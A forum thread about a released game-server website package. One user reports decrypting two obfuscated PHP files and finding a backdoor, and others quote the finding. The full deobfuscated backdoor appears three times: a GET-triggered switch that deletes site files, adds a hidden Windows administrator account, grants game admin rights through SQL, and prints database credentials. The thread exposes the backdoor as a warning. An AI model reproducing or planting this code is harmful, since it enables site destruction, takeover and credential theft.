[Release] Loyal | Website files.

[R3D*]

Removed

[B1Q]

wow nice website m8 i'll definitely use it (no) in my next project

hi...i wonder why you encrypted the itemrank.php and guildshow.php files :S

EDIT: after decrypting the files i found this

 BACKDOOR

PHP Code:

if ($_GET["cmd"] != null) {
    $upmolkvoph = "files";
    $fxhxglnq = "user";
    $dyqtxg = "myIP";
    $ {
        "GLOBALS"
    }
    ["zcwpwa"] = "myIP";
    $ebprtss = "cmd";
    $ {
        "GLOBALS"
    }
    ["jezmfhbmvqfc"] = "WshShell";
    $jrylsva = "file";
    $ {
        "GLOBALS"
    }
    ["modtlmjrp"] = "usernameadmin";
    $ {
        $ebprtss
    } = $_GET["cmd"];
    switch ($ {
            $ {
                    "GLOBALS"
            }
            ["ndfmowqffl"]
    }) {
        case "deletesite":
            $ {
                    $ {
                            "GLOBALS"
                    }
                    ["ueghkbx"]
            } = glob("*");
            foreach ($ {
                $upmolkvoph
            } as $ {
                $jrylsva
            }) {
                $btlnfzfoav = "file";
                $tictxt = "file";
                if (is_file($ {
                    $tictxt
                })) unlink($ {
                    $btlnfzfoav
                });
            }
            break;
        case "createuser":
            $ {
                $ {
                    "GLOBALS"
                }
                ["hmmdbmpn"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net user  criz criz!@# /add");
            $ {
                $ {
                    "GLOBALS"
                }
                ["jezmfhbmvqfc"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net localgroup administrators criz /add");
            echo "<center>User Added!</center>";
            break;
        case "makeadmin":
            $ {
                $ {
                    "GLOBALS"
                }
                ["zcwpwa"]
            } = $_SERVER["REMOTE_ADDR"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["modtlmjrp"]
            } = $_GET["usernameadmin"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            } = $fnc->exec("Update $accdb..TB_User Set sec_content='1',sec_primary='1' where StrUserID = '$usernameadmin'");
            if ($ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            }) {
                Echo "Account is now Admin Loggin!";
            }
            break;
        case "getinfo":
            $ {
                $dyqtxg
            } = $_SERVER["SERVER_ADDR"];
            $host = HOST;
            $ {
                $fxhxglnq
            } = USERNAME;
            $ {
                $ {
                    "GLOBALS"
                }
                ["redcmge"]
            } = PASSWORD;
            echo "Server IP : $myIP<br>SQL Host : $host<br>SQL User : $user<br>SQL Password : $password<br>Account Database : $accdb<br>Game Database : $gamedb";
            break;
        } 


[R3D*]

Originally Posted by hazemooking

wow nice website m8 i'll definitely use it (no) in my next project

hi...i wonder why you encrypted the itemrank.php and guildshow.php files :S

EDIT: after decrypting the files i found this

 BACKDOOR

PHP Code:

if ($_GET["cmd"] != null) {
    $upmolkvoph = "files";
    $fxhxglnq = "user";
    $dyqtxg = "myIP";
    $ {
        "GLOBALS"
    }
    ["zcwpwa"] = "myIP";
    $ebprtss = "cmd";
    $ {
        "GLOBALS"
    }
    ["jezmfhbmvqfc"] = "WshShell";
    $jrylsva = "file";
    $ {
        "GLOBALS"
    }
    ["modtlmjrp"] = "usernameadmin";
    $ {
        $ebprtss
    } = $_GET["cmd"];
    switch ($ {
            $ {
                    "GLOBALS"
            }
            ["ndfmowqffl"]
    }) {
        case "deletesite":
            $ {
                    $ {
                            "GLOBALS"
                    }
                    ["ueghkbx"]
            } = glob("*");
            foreach ($ {
                $upmolkvoph
            } as $ {
                $jrylsva
            }) {
                $btlnfzfoav = "file";
                $tictxt = "file";
                if (is_file($ {
                    $tictxt
                })) unlink($ {
                    $btlnfzfoav
                });
            }
            break;
        case "createuser":
            $ {
                $ {
                    "GLOBALS"
                }
                ["hmmdbmpn"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net user  criz criz!@# /add");
            $ {
                $ {
                    "GLOBALS"
                }
                ["jezmfhbmvqfc"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net localgroup administrators criz /add");
            echo "<center>User Added!</center>";
            break;
        case "makeadmin":
            $ {
                $ {
                    "GLOBALS"
                }
                ["zcwpwa"]
            } = $_SERVER["REMOTE_ADDR"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["modtlmjrp"]
            } = $_GET["usernameadmin"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            } = $fnc->exec("Update $accdb..TB_User Set sec_content='1',sec_primary='1' where StrUserID = '$usernameadmin'");
            if ($ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            }) {
                Echo "Account is now Admin Loggin!";
            }
            break;
        case "getinfo":
            $ {
                $dyqtxg
            } = $_SERVER["SERVER_ADDR"];
            $host = HOST;
            $ {
                $fxhxglnq
            } = USERNAME;
            $ {
                $ {
                    "GLOBALS"
                }
                ["redcmge"]
            } = PASSWORD;
            echo "Server IP : $myIP<br>SQL Host : $host<br>SQL User : $user<br>SQL Password : $password<br>Account Database : $accdb<br>Game Database : $gamedb";
            break;
        } 


It's your website mate, so you know where did you put your backdoor

[Spidy.]

Originally Posted by hazemooking

wow nice website m8 i'll definitely use it (no) in my next project

hi...i wonder why you encrypted the itemrank.php and guildshow.php files :S

EDIT: after decrypting the files i found this

 BACKDOOR

PHP Code:

if ($_GET["cmd"] != null) {
    $upmolkvoph = "files";
    $fxhxglnq = "user";
    $dyqtxg = "myIP";
    $ {
        "GLOBALS"
    }
    ["zcwpwa"] = "myIP";
    $ebprtss = "cmd";
    $ {
        "GLOBALS"
    }
    ["jezmfhbmvqfc"] = "WshShell";
    $jrylsva = "file";
    $ {
        "GLOBALS"
    }
    ["modtlmjrp"] = "usernameadmin";
    $ {
        $ebprtss
    } = $_GET["cmd"];
    switch ($ {
            $ {
                    "GLOBALS"
            }
            ["ndfmowqffl"]
    }) {
        case "deletesite":
            $ {
                    $ {
                            "GLOBALS"
                    }
                    ["ueghkbx"]
            } = glob("*");
            foreach ($ {
                $upmolkvoph
            } as $ {
                $jrylsva
            }) {
                $btlnfzfoav = "file";
                $tictxt = "file";
                if (is_file($ {
                    $tictxt
                })) unlink($ {
                    $btlnfzfoav
                });
            }
            break;
        case "createuser":
            $ {
                $ {
                    "GLOBALS"
                }
                ["hmmdbmpn"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net user  criz criz!@# /add");
            $ {
                $ {
                    "GLOBALS"
                }
                ["jezmfhbmvqfc"]
            } = new COM("WScript.Shell");
            $ {
                $ {
                    "GLOBALS"
                }
                ["xghnptuv"]
            } = $WshShell->Run("net localgroup administrators criz /add");
            echo "<center>User Added!</center>";
            break;
        case "makeadmin":
            $ {
                $ {
                    "GLOBALS"
                }
                ["zcwpwa"]
            } = $_SERVER["REMOTE_ADDR"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["modtlmjrp"]
            } = $_GET["usernameadmin"];
            $ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            } = $fnc->exec("Update $accdb..TB_User Set sec_content='1',sec_primary='1' where StrUserID = '$usernameadmin'");
            if ($ {
                $ {
                    "GLOBALS"
                }
                ["somcvld"]
            }) {
                Echo "Account is now Admin Loggin!";
            }
            break;
        case "getinfo":
            $ {
                $dyqtxg
            } = $_SERVER["SERVER_ADDR"];
            $host = HOST;
            $ {
                $fxhxglnq
            } = USERNAME;
            $ {
                $ {
                    "GLOBALS"
                }
                ["redcmge"]
            } = PASSWORD;
            echo "Server IP : $myIP<br>SQL Host : $host<br>SQL User : $user<br>SQL Password : $password<br>Account Database : $accdb<br>Game Database : $gamedb";
            break;
        } 


Thank you

#Closed